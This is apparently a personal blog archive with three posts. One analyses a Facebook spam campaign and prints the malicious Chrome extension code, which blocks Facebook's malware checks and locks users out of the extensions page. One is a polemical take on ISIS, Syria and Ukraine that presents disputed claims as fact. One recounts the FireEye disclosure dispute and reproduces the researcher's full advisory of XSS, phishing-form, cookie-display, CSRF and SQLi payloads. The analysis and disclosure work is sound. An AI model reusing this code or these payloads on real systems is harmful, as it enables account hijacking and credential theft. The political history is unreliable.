This video is yours? : The On-going Facebook Spam Campaign

In the past I have seen several facebook spam campaigns...
The usual ones are the ones that offer to change your facebook theme or hack your friend's account... in both cases you either paste your oauth code which u get from facebook after you accept to share your information to the app they specify, etc.

But this new campaign is better..
Its was live for the last 5 days and you can see the number of people infected by it and online from their amung.us url.
[Which I found after analyzing their plugin as we will see later in this post]

http://whos.amung.us/stats/userlistx5/

 So lets get into more details of how this spam campaign spread.

Prerequisites:
Nice landing pages, domains, silent plugin installers, plugins with some sweet javascript codes, and some more nice javascript code on their sites.

Step 1.
They bought installs to their plugin installers.
Step 2.
The plugins contacted their sites and then checked if user was logged into facebook.
Step 3.
The javascript spammed the user's friends with message like:

The RED part is you friend's name; The Grey part is your friend's photo.

A fairly convincing photo.. On which people instantly clicked..

It redirected them to the landing pages which looks like:

Again fairly convincing for normal everyday facebook users..

Step 4.
Then they saw the red arrow and clicked on the exe and ran it..

Now the important clue we get from this landing page is "Ana Sayfa"
Which is Turkish for "Home Page"
I am guessing the guys who made this page copied the Facebook bar codes straight out of facebook.
Hence they might be from Turkey.


So lets try to get more details about the plugin installer and the plugin.

Analysis of the exe by Virustotal:
Earlier [2 days ago] detections were: 7/53
Currently its: 22/53
[https://www.virustotal.com/en/file/db44cfb583e2b409d262e6d539106e4af8f33117a613983381b60cc0ee00e30d/analysis/1406476387/ ]


Now the exe installs a plugin..
Its name and other components are downloaded from the website the coder setup.
Hence the plugin after certain time intervals has a new name and new manifest file generated on the site.
In order to stop chrome from mass deleting a certain plugin.

The manifest.json file for the plugin:

The Preferences file for the plugin:

The background.js file thats injected by the plugin:

Now this background.js has two important functions..

1. It calls the javascript code from ext/s.php that does the spamming of the friends:

from here we can clearly see the whos.amung.us that is being used to keep track of the campaing.

2. The background.js has some interesting code in the end..

chrome.webRequest.onBeforeRequest.addListener(
  function (details) {
    var url = details.url;
    for (var i = 0; i < deep.length; i++) {
      if (url.indexOf(deep[i]) > -1) {
        return {
          cancel: true
        };
      }
    }
  }, {
    urls: ["<all_urls>"]
  }, ["blocking"]
);
var deep = ["facebook.com/csp.php","facebook.com/checkpoint/malware/cr_ext_config"];
function trance() {
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
try {
JSON.parse(xmlhttp.responseText).forEach(function (d) {
if (d.uri) {
deep.push(d.uri);
}
});
} catch (e) {}
}
};
xmlhttp.open("GET", "http://patronbayi.com/ext/get.js", true);
xmlhttp.send();
}
trance();


chrome.tabs.onUpdated.addListener(function(tabid,x,tab)
{if(tab.url=="chrome://chrome/extensions" || 
tab.url=="opera://extensions" || 
tab.url=="chrome://help/" || 
tab.url=="chrome://extensions/")
{ 
chrome.tabs.remove(tab.id); 
} 
});

Now what this firstly does is.. it gets a list of domains from ext/get.js..

These are the domain names of Antivirus companies, etc who might detect this plugin and alert the user..

And the last part is the chrome.tabs.onUpdated.addListener() function that stops the user from opening the
chrome://extensions tab.. so even if the user tried to delete the plugin he could not.. At least not from the browser..
So, for everyone who wants to know how to remove it..
You would have to manually go to %localappdata% then Google\Chrome\User Data\Default\Extensions and then delete the rogue plugin, or just delete all the plugins and then install the plugins you need from chrome store again..
Here is an image to help explain better..

And now...
A Blast from the Past..

Facebook Black Theme people are also back!
[I have a hunch that these guys might know each other as i have seen both of them use similar codes or they might have stolen codes from each other or something..]

Originally it was being spread from:
https://www.facebook.com/notes/facetoon/switch-to-black-facebook-click-on-below-image/1503844979832724

So its something i noticed when i found this..
On facebook pages you can create notes.. and insert images which are hyperlinked to sites!

So as soon as the users clicked on the images it redirected them to those old get facebook theme landing pages that has steps like allow this app.. copy paste your oauth code like and idiot..

Then it would find people from the user's friend list and go spam their wall with the message
"Hey <friend's name>, I am using this new facebook theme. Try it out now! go here: <link to the facebook page note> "

But as since the link being spammed was a facebook domain itself.. it took facebook almost a 24 hours before they began deleting those messages and finally closed the page itself.

Seems like these people are discovering interesting things..
And every time Facebook thinks they have seen enough of the spammers and have found all the ways to stop them using their spam detection bots..
These guys come back with new surprises and more firepower!

The ISIS: How America helped to start World War 3

A Brief History of Whats been happening in the Eastern Coast of the Mediterranean before ISIS became a Prominent force in the Area 

So as we all know since the cold war America has always been trying to asset its supremacy over Russia.
And presently tensions between the two countries are higher than ever.
(I think if Russia says the sun rises in the East, US gov will suspend all the projects of NASA and make them find data to prove Russia wrong.)

In Syria the Assad regime has been facing serious oppositions from different Islamic militant groups.
But they were all scattered and no match for the strong, disciplined and heavily armed Syrian army.
It was a Civil War that Assad was slowly winning.
Now Syria is located in a very interesting place.

It shares its borders with Lebanon , Israel, Jordan, Iraq, Turkey and the Mediterranean Sea in the West.
Also its very close to Russia. Hence as a strategic stronghold it would be NATO(America's) wet-dreams come true if they could setup a military base over there. And how to do that? Very easy.
"Enemy of an enemy is a friend." or they thought so.. at that time..
So they decided to send aid to the rebels- weapons, money, all sorts of support to destabilize the Assad gov. After that there were reports of Syrian Army attacking people with chemical weapons and USA grabbed that news and jumped right in. Trying to pass resolution in the UN to allow military intervention into Syria.

Enter Putin.

Russia understood USA's motive. Even when all of USA's allies(France,England,etc) supported military intervention Russia #LikeaBoss veto-ed it.

Obama and Cameroon had meetings, and soon declared that they will bomb Syria's military strongholds with reaper drones and rockets...

But that was not to be.. After meetings between Russian Foreign Affairs Minister Sergei Lavrov(L) and Secretary of State John Kerry at Winfield House in London in March 14, 2014.

It was resolved that USA wouldnt intervene at that moment and would let the UN handle the matter.
The UN resolved to send a special team to inspect the usage of chemical weapons.
Though it was confirmed that chemical weapons was used, it couldnt be proved if it was done Assad or the rebels trying to setup the situations ideal for US to attack and give its famous "democracy" to the Syrian people.

Anyways still to be on the safe-side the Syrian gov was asked to hand over all of its Chemical weapons for safe disposal so that it is not used by the gov or, so that it doesnt fall into the wrong hands(rebels).
Russia fully supported the Syrian gov throughout the process and all the chemicals had been shipped out of the country within the UN deadline.

Syria moved its chemical weapons to Latakia(2) then it was loaded on a Danish ship and taken to Gioia Tauro(3). From there its planned to be loaded on MV Cape Ray and destroyed at sea(4).

After a couple of weeks there were reports that Syrian people had been attacked by Chlorine gas. But there was nothing US could do about it even if it was Assad or the Rebels because those chlorine gas was made from fertilizers used for agriculture. So US had to turn back from Syria.

At this time the Rebels in Syria after being forsaken by the US started to regroup. With all the resources it had gathered they started to go to Northern Iraq and then slowly began strengthening their ranks.

In the mean time.. USA pissed off after the "democratic" defeat in the Syrian conflict, turned its eyes towards Ukraine. It encouraged the opposition parties and its followers to protest against President Viktor Yanukovych for not joining the European Union. Cause, come on.. he was friends with Russia and hence thats what his gov decided.

Soon the protests in Kiev started to become larger.. and more violent.

Senator John McCain(R) went and met Ukrainian opposition leaders Arseniy Yatsenyuk(L) and Oleh Tyahnybok in Kiev multiple times..
Soon the protests in Kiev started to become like a civil war.. with protesters throwing stones, lighting fire on the streets, taking over police stations and stealing guns and grenades.
Then after a lot of violent protests there were unconfirmed reports of "snipers" of the Yanukovych gov shooting "peaceful" protesters. Which was never confirmed. But soon as a consequence.. The opposition with support from USA took over the Parliament like a drug lord taking over another's area with force.

Yanukovych fled to Russia with his family and some ministers and officials who were very close to him.
Meanwhile there were video footage showing Opposition leaders thrashing the beating up government officials.... just because they wanted to? No one really knows why.. But, USA was silent about all that..
cause this time Russia couldn't do much about it. Or, could they?

Soon the Eastern parts of Ukraine and Crimea started to protests against the coup. Since they had ousted a democratically elected President and just taken over the gov. Soon there started violent clashes in the East and many Neo-Nazi parties became more prominent with leaders who were x-convicts walking and giving speeches with guns in their hands. It was total chaos in Ukraine.

Russia couldn't sit still longer.. It sent its troops into Crimea where more than 98% of the people are pro-Russian and they took over Crimea without firing a single bullet.
USA started shouting, and its faithful allies like an echo chamber repeated.

On 14th March, 2014 a referendum was held in Sevastopol. 96.77% people voted to join Russia.
And that was it. The Navy Chief and many army officials stationed in Crimea pledged its allegiance to Russia. Others ran away back towards Kiev.

And after that the Pro-Russian Easter side of Ukraine started to cut itself off from the gov in Kiev and declared themselves as independent and formed their own militia and pushed out the Ukrainian troops.

Now while USA was enjoying the war games in Ukraine, and Kiev gov was bombing the and shelling rebel states of Luhansk and Donetsk, a much bigger problem with growing in Iraq.

Enter the ISIS.

So, what is ISIS? And is it even ISIS, or is it ISIL?

The world’s most committed and fanatical radical organization has only recently gone by its current name, after the unrecognized Islamic State in Iraq and al-Sham (ISIS) was proclaimed in April last year. Al-Sham has been most commonly translated from Arabic as the Levant, hence ISIL. It was previously known as Jama'at al-Tawhid wal-Jihad, Al-Qaeda in the Islamic State of Iraq.

The frequent name changes are not cosmetic – but the direct result of the transforming circumstances which have allowed ISIS to rapidly flourish. Initially focused on achieving dominance in Iraq, it was kept under control in the relatively calm period between the initial sectarian strife that broke out following the US-led invasion in 2003, and the outbreak of hostilities following the American military withdrawal in 2011.

Since then, it has become a major player, receiving another critical boost when the civil war in Syria turned into a sectarian conflict, bringing in millions of dollars in funding and thousands of fresh recruits from around the world.

Currently, ISIS strongholds extend from Raqqa in northern Syria all the way down to the outskirts of Baghdad – a stretch of more than 500 km, though the group doesn’t have comprehensive oversight of the roads and settlements between them.

The speed with which the Islamist group is closing in on Baghdad can be compared – if not exceeds – the pace of the 2003 invasion. Unlike the US and allies, though, ISIS does not have a capability of launching destructive air strikes, however in its latest offensives the group has reportedly managed to significantly boost its military power capturing dozens of US-made armored vehicles and other heavy weaponry from the retreating Iraqi military.

ISIS is part of and similar to Al-Qaeda, right?

No, it is significantly worse. Al-Qaeda has been the touchstone for the Western understanding of terrorism ever since 9/11, but ISIS differs from it philosophically, organizationally, and even officially, as it has declared itself an entirely separate body. If anything the two organizations – though both espousing Sunni Islam – are currently more rivals than allies.

While Al-Qaeda, in its most well-known forms, is a terrorist organization, with sleeper cells, training camps and terrorist attacks, ISIS as of now is more a militia and a rogue territory with its own infrastructure, more similar to Boko Haram and other localized fiefdoms that have spawned in lawless or failed African states.

Al-Qaeda has become more conscious of avoiding acts of indiscriminate or counter-productive brutality since the demise of Osama Bin Laden, but ISIS revels in it, espousing a religious philosophy so uncompromising it appears almost nihilistic.

The areas it has secured have been kept under control by an endless stream of floggings, mutilations, beheadings and crucifixions. The targets can be well-chosen or arbitrary, but no one is spared – Shia opponents, Sunni rivals, captured soldiers or “immoral” women.

Unsurprisingly, although the first leader of ISIS, the late Abu Musab, did swear fealty to Al-Qaeda back in the early 2000s, the two organizations have fallen out.

The breaking point was the internecine fighting between ISIS and Al-Qaeda-backed Nusra in Syria. Pleas by Al-Qaeda to divide spheres of influence were flatly rejected by Abu Bakr, the ISIS leader, who spent four years in US captivity, before being released in 2009. After increasingly testy communication between the sides, Al-Qaeda “disowned” ISIS earlier this year, in return provoking ISIS to call the organization “traitors” and “a joke.”

With the rise of ISIS, many say that it is now Al-Qaeda’s Ayman al-Zawahiri who should be pledging allegiance to the 43-year old Abu Bakr.

How is ISIS funded?

ISIS operates as a half-mafia-style commercial enterprise, half pious international charity, looking for wealthy donors in the Gulf States and throughout the globe.

It is certainly not lacking in opportunism in commercializing its military activities. In 2012 ISIS – or ISI as it was then – took over oil fields in Syria, reaping profits from selling the oil at discounted prices to anyone willing to pay. It has traded in the raw materials in areas it has captured, and even dabbled in selling antiques from monuments under its control.

Sometimes, it doesn’t have to be so elaborate. Its biggest single success was plundering a government vault in Mosul – captured last week – that reportedly contained more than $425 million. With the loot taken during its recent advances, ISIL’s estimated war chest now stands at over $2 billion.

But just as important is ISIS income from its unknown – yet easily guessed – backers from the Arabian Peninsula. As the world’s foremost proponents of Saudi-style Wahhabism, Iraqi officials claim ISIS gets a steady stream of funds and support from politically engaged operators, working from the safety of Saudi Arabia’s and Qatar’s US-protected borders.

Like any up-and-coming enterprise, its recent publicity and burgeoning reputation is likely to form a virtuous circle, where ISIS will receive additional funds, to wreak more impressive feats of destruction to the delight of its backers.

How did ISIS manage to capture so much territory?

On June 10, less than a thousand of ISIS militants on soft-shelled pickup trucks occupied the northern Iraqi city of Mosul with a population of 1.8 million people.

The city was supposed to be under the protection of the US-trained Iraqi military force of about 30,000 stationed in the region. It was equipped with sophisticated US-made military equipment – part of the weaponry and hardware supplied by Washington to Baghdad, which has been estimated to cost billions of US dollars.

However, Mosul fell with no apparent resistance as scores of Iraqi troops fled dropping their uniforms and leaving the precious hardware behind. The militants celebrated getting US-made Humvees and tanks – some of which have since headed to Syria to be used against the government forces – and even allegedly captured at least one Black Hawk helicopter.

General lack of morale and cohesion in the Iraqi army has been named the cause for the humiliating loss of this and other cities – including the strategic city of Tal Afar close to the Syrian border and Saddam Hussein’s birthplace Tikrit.

Aiding this parade of ISIS victories has been the allegedly sweeping support of the local Sunni population, who previously supported the Sunni regime of Saddam Hussein overthrown by the US-led forces.

Sectarian factors, but also the way the post-invasion Iraqi PM Nouri al-Maliki’s government has handled religious and social conflicts in the country, certainly contributed to Iraqi army being unpopular in ISIS-occupied regions. Apparently, replacing some Sunni commanders with Shiites locally did not help, and the way ISIS won the support of local tribes via negotiations has shown how little the new central government is valued in northern rural Iraq.

However, one also has to realize that ISIS is no bunch of poorly-trained extremist thugs. With years of experience on the Syrian battlefield, the group boasts training camps producing well-prepared fighters, and it has been joined by scores of professionally trained overseas mercenaries.

ISIS spokesman Shaykh Muhammad Adnani has explained the group’s current success by the will of God, saying that “the [Islamic] State has not prevailed by numbers, nor equipment, nor weapons, nor wealth, rather it prevails by Allah’s bounty alone, through its creed” in a recent statement posted on YouTube.

It remains unclear for how long the brutal and repressive policies of ISIS will guarantee their support on the ground in Iraq, while they are trying to win the locals’ hearts with religious propaganda and dreams of a huge cross-border caliphate.

It is ironic that the hardcore Islamist group will be using the equipment provided by Washington to Baghdad in the Western-backed insurgency in Syria, but at the same time may be confronted by the West in Iraq, where the militants are now contesting the country’s largest oilfield.

Battles with militants in Iraq play out near oil fields, pipelines, refineries. Here's a map. http://t.co/Au3frzhmMB pic.twitter.com/GWM8cDWlLj
— Seth Hamblin (@Seth_Hamblin) June 13, 2014

Having spent billions on Iraq and "war on terror" for securing its own interests in the region, the US and its allies have been unwilling to admit that the devastating 2003 invasion was a mistake with disastrous consequences for the whole Middle Eastern region. While 2013 was marked by the bloodiest sectarian violence in Iraq in five years, it mostly went unnoticed with the "international community." Recently, the former UK Prime Minister Tony Blair chose to blame “bad systems of politics mixed with abuse of religion” as the root of all the problems in Middle East. 

No one knows what will bring peace to the middle east but Israel's invasion of Gaza is just making things even worse.

A Story of a Bully: FireEye,Sogeti vs kmkz,security researchers

So I really hate it when big companies think like they are the boss and can do whatever the hell they want ... most of the times they actually get things going the way they wish ... but not always ..
And recently something interesting happened that caught my Eye ..

A security researcher  kmkz_security  found Multiple Vulnerabilities in FireEye Malware Analysis System (MAS) 6.4.1 and like any other good security researcher he contacted FireEye in May and later made ​​his full black-box audit public at exploit-db.com.

Multiple Vulnerabilities exploit on "secure" CMS (lol??) #Bisous #pentest #offsec http://t.co/dzwnykz6k5 http://t.co/jBhuFfTJss
— kmkz (@kmkz_security) July 7, 2014

So you must be thinking...everyone should be happy.. FireEye should fix the issues and praise kmkz for the work he did in his free time right?
Well not quite.. FireEye always posts about vulnerabilities in softwares of other companies, exploits and their pentesting work.. They claim to protect you against undisclosed 0day vulnerabilities and all sorts of Cyber threat.. bla bla bla.. and when you claim that their program has vulnerabilities... Well.. They were pissed.

 FireEye Malware Analysis System (MAS) 6.4.1 - Multiple Vulnerabilities  
   
 *************************************************************  
 *[Audit Type] web IHM ONLY / Full black-box audit           *
 *[Multiples Vulnerabilities]                                *    
 *  3 XSS (reflected)                                        *  
 *  1 CSRF                                                   *  
 *  1 NoSQLi (Json object)                                   *  
 *  1 PostGreSQL SQLi (Exploitable?)                         *  
 *  1 File and Path Disclosure                               *  
 *  1 Source code Info-leak                                  *  
 *                                                           *  
 *************************************************************  
    
 [*] XSS:  
   +First XSS (reflected):  
     https://192.168.1.50/yara/show_ya_file?name=<body onload=alert('XSSED')>  
   PoC :  
     Redirection:  
       https://192.168.1.50/yara/show_ya_file?name=<body  
 onload=document.location=(String.fromCharCode(104,116,116,112,58,47,47,103,111,111,103,108,101,46,99,111,109))>  
     Url encoded redirection payload:  
       https://192.168.1.50/yara/show_ya_file?name=%3Cbody%20onload%3Ddocument.location%3D(String.fromCharCode(104%2C116%2C116%2C112%2C58%2C47%2C47%2C103%2C111%2C111%2C103%2C108%2C101%2C46%2C99%2C111%2C109))%3E%0A%09  
    
     Phishing page PoC:  
       https://192.168.1.50/yara/show_ya_file?name=<body  
 onload=document.write(String.fromCharCode(60,104,116,109,108,62,60,98,111,100,121,62,60,104,101,97,100,62,60,109,101,116,97,32,99,111,110,116,101,110,116,61,34,116,101,120,116,47,104,116,109,108,59,32,99,104,97,114,115,101,116,61,117,116,102,45,56,34,62,60,47,109,101,116,97,62,60,47,104,101,97,100,62,60,100,105,118,32,115,116,121,108,101,61,34,116,101,120,116,45,97,108,105,103,110,58,32,99,101,110,116,101,114,59,34,62,60,102,111,114,109,32,77,101,116,104,111,100,61,34,80,79,83,84,34,32,65,99,116,105,111,110,61,34,104,116,116,112,115,58,47,47,119,119,119,46,103,111,111,103,108,101,46,114,117,34,62,80,104,105,115,104,105,110,103,112,97,103,101,32,58,60,98,114,32,47,62,60,98,114,47,62,85,115,101,114,110,97,109,101,32,58,60,98,114,32,47,62,32,60,105,110,112,117,116,32,110,97,109,101,61,34,85,115,101,114,34,32,47,62,60,98,114,32,47,62,80,97,115,115,119,111,114,100,32,58,60,98,114,32,47,62,60,105,110,112,117,116,32,110,97,109,101,61,34,80,97,115,115,119,111,114,100,34,32,116,121,112,101,61,34,112,97,115,115,119,111,114,100,34,32,47,62,60,98,114,32,47,62,60,98,114,32,47,62,60,105,110,112,117,116,32,110,97,109,101,61,34,86,97,108,105,100,34,32,118,97,108,117,101,61,34,79,107,32,33,34,116,121,112,101,61,34,115,117,98,109,105,116,34,32,47,62,32,60,98,114,32,47,62,60,47,102,111,114,109,62,60,47,100,105,118,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62))>  
     Url encoded phishing page payload:  
       https://192.168.1.50/yara/show_ya_file?name=%3Cbody%20onload%3Ddocument.write(String.fromCharCode(60%2C104%2C116%2C109%2C108%2C62%2C60%2C98%2C111%2C100%2C121%2C62%2C60%2C104%2C101%2C97%2C100%2C62%2C60%2C109%2C101%2C116%2C97%2C32%2C99%2C111%2C110%2C116%2C101%2C110%2C116%2C61%2C34%2C116%2C101%2C120%2C116%2C47%2C104%2C116%2C109%2C108%2C59%2C32%2C99%2C104%2C97%2C114%2C115%2C101%2C116%2C61%2C117%2C116%2C102%2C45%2C56%2C34%2C62%2C60%2C47%2C109%2C101%2C116%2C97%2C62%2C60%2C47%2C104%2C101%2C97%2C100%2C62%2C60%2C100%2C105%2C118%2C32%2C115%2C116%2C121%2C108%2C101%2C61%2C34%2C116%2C101%2C120%2C116%2C45%2C97%2C108%2C105%2C103%2C110%2C58%2C32%2C99%2C101%2C110%2C116%2C101%2C114%2C59%2C34%2C62%2C60%2C102%2C111%2C114%2C109%2C32%2C77%2C101%2C116%2C104%2C111%2C100%2C61%2C34%2C80%2C79%2C83%2C84%2C34%2C32%2C65%2C99%2C116%2C105%2C111%2C110%2C61%2C34%2C104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C119%2C119%2C119%2C46%2C103%2C111%2C111%2C103%2C108%2C101%2C46%2C114%2C117%2C34%2C62%2C80%2C104%2C105%2C115%2C104%2C105%2C110%2C103%2C112%2C97%2C103%2C101%2C32%2C58%2C60%2C98%2C114%2C32%2C47%2C62%2C60%2C98%2C114%2C47%2C62%2C85%2C115%2C101%2C114%2C110%2C97%2C109%2C101%2C32%2C58%2C60%2C98%2C114%2C32%2C47%2C62%2C32%2C60%2C105%2C110%2C112%2C117%2C116%2C32%2C110%2C97%2C109%2C101%2C61%2C34%2C85%2C115%2C101%2C114%2C34%2C32%2C47%2C62%2C60%2C98%2C114%2C32%2C47%2C62%2C80%2C97%2C115%2C115%2C119%2C111%2C114%2C100%2C32%2C58%2C60%2C98%2C114%2C32%2C47%2C62%2C60%2C105%2C110%2C112%2C117%2C116%2C32%2C110%2C97%2C109%2C101%2C61%2C34%2C80%2C97%2C115%2C115%2C119%2C111%2C114%2C100%2C34%2C32%2C116%2C121%2C112%2C101%2C61%2C34%2C112%2C97%2C115%2C115%2C119%2C111%2C114%2C100%2C34%2C32%2C47%2C62%2C60%2C98%2C114%2C32%2C47%2C62%2C60%2C98%2C114%2C32%2C47%2C62%2C60%2C105%2C110%2C112%2C117%2C116%2C32%2C110%2C97%2C109%2C101%2C61%2C34%2C86%2C97%2C108%2C105%2C100%2C34%2C32%2C118%2C97%2C108%2C117%2C101%2C61%2C34%2C79%2C107%2C32%2C33%2C34%2C116%2C121%2C112%2C101%2C61%2C34%2C115%2C117%2C98%2C109%2C105%2C116%2C34%2C32%2C47%2C62%2C32%2C60%2C98%2C114%2C32%2C47%2C62%2C60%2C47%2C102%2C111%2C114%2C109%2C62%2C60%2C47%2C100%2C105%2C118%2C62%2C60%2C47%2C98%2C111%2C100%2C121%2C62%2C60%2C47%2C104%2C116%2C109%2C108%2C62))%3E  
   +Second XSS (reflected):  
     https://192.168.1.50/network/network?new_domain=%3Cscript%3Ealert%28%27XSSED%27%29%3C%2Fscript%3E  
   +Third XSS (reflected):  
     https://192.168.1.50/manual/csc?mode=%3C/script%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E  
 Show Cookie PoC:  
       https://192.168.1.50/manual/csc?mode=%3C/script%3E%3Ccenter%3E%3Cscript%3Edocument.write%28%22%22%29%3C/script%3E%3Cb%3EUser%20Informations:%3C/b%3E%3Cbr/%3E%3Cscript%3Edocument.write%28document.cookie%29%3C/script%3E%3C/center%3E%3Cpwn  
    
 [*] CSRF:  
    
   PoC:  
     admin logout:  
       https://192.168.1.50/network/network?new_domain=<script>document.location="https://192.168.1.50/login/logout?notice=Deconnection+kmkz+CSRF+PoC"</script>  
     Url encoded admin deconnexion PoC:  
       https://192.168.1.50/network/network?new_domain=%3Cscript%3Edocument.location%3D%22https%3A%2F%2F192.168.1.50%2Flogin%2Flogout%3Fnotice%3DDeconnection%2Bkmkz%2BCSRF%2BPoC%22%3C%2Fscript%3E  
     Report deleting:  
       https://192.168.1.50/network/network?new_domain=<script>document.location="https://192.168.1.50/report/delete_pdf/?id=Alert_Details_fireye-2F_20140502_120000.xml"</script>  
     Url encoded report deleting Poc:  
       https://192.168.1.50/network/network?new_domain=%3Cscript%3Edocument.location%3D%22https%3A%2F%2F192.168.1.50%2Freport%2Fdelete_pdf%2F%3Fid%3DAlert_Details_fireye-2F_20140502_120000.xml%22%3C%2Fscript%3E  
 [*] SQLi PostGreSQL (Exploitable?):  
   https://192.168.1.50/event_stream/send_pcap_file?ev_id=9999 OR SELECT 1,2  
 FROM events /**  
    
   output:  
     Event ID '9999 OR SELECT 1,2 FROM events ' could not be retrieved.  
 Couldn't find Event with id=9999 OR SELECT 1,2 FROM events  
   https://192.168.1.50/event_stream/send_pcap_file?ev_id=99999999999  Output:  
     Event ID '99999999999' could not be retrieved.  
     PG::Error: ERROR: value "99999999999" is out of range for type  
 integer : SELECT "events".* FROM "events" WHERE "events"."id" = $1 LIMIT 1  
    
    
 [*] Files & Directory Disclosure:  
   https://192.168.1.50/malware_analysis/ma_repo : the Input Path field  
 allow Path & file disclosure ../../../../../../../bin/sh (example)  
    
    
 {*] Others:  
   1)No SQLi (Json)  
 https://192.168.1.50/network/network?new_domain[$ne]=blah  
   Return: {"$ne"=>"blah"} is not a valid host // Exploitable?  
   2)Source code Info-leak:  
     https://192.168.1.50/manual/csc?mode=%3C/script%3E  

So they next contacted Sogeti the company kmkz worked for and also kmkz...
They made him take down the disclosure from exploit-db.com. Then FireEye's System Engineering Manager, on July 7, asked Bourbon a.k.a kmkz to initiate the process of having Google's cache of the disclosure expunged, while confirming that the actual post on Exploit-DB was in fact removed.

And even after all this FireEye was not satisfied...

@hyp_h5p @exploitdb @jms_dot_py @FireEye @r00tbsd sorry guys...due to a fireeye request & I've lost my job now .. THX @FireEye
— kmkz (@kmkz_security) July 8, 2014

They requested Sogeti to fire kmkz..
At this point.. most of the people who were following this incident had enough of this nonsense..
And gave some great reactions..

@kmkz_security @exploitdb @FireEye "Leader in stopping today's new breed of cyber attacks, such as zero-day and APT attacks." bitch please..
— ipv (@ipv_) July 8, 2014

@ipv_ @FireEye @kmkz_security Well, that's *one* way of stopping 0days.
— Exploit Database (@exploitdb) July 8, 2014

.@fireeye & @sogeti, this is unacceptable from security companies!
— Paul Rascagnères (@r00tbsd) July 8, 2014

And many others reacted to this and by now Sogeti started feeling the heat..
They tweeted:

@r00tbsd @FireEye We were sorry to hear that @kmkz_security feels mistreated and have encouraged him to contact our HR department.
— Sogeti (@sogeti) July 8, 2014

Pretty Soon.... maybe its just a coincidence but...

33.46  -3.15 (-8.60%)

Quote as of 3:59 PM EDT on 07/08/14

FireEye's stocks also took a plunge...
And then came the best response...

Removed the Mandiant/FireEye posts from the hiring thread until they figure out that throwing security researchers under buses is not cool.
— /r/netsec (@r_netsec) July 8, 2014

All I can say is.. a honest hard working and efficient security researcher will easily get hired by a good company...
FireEye should learn a lesson from this..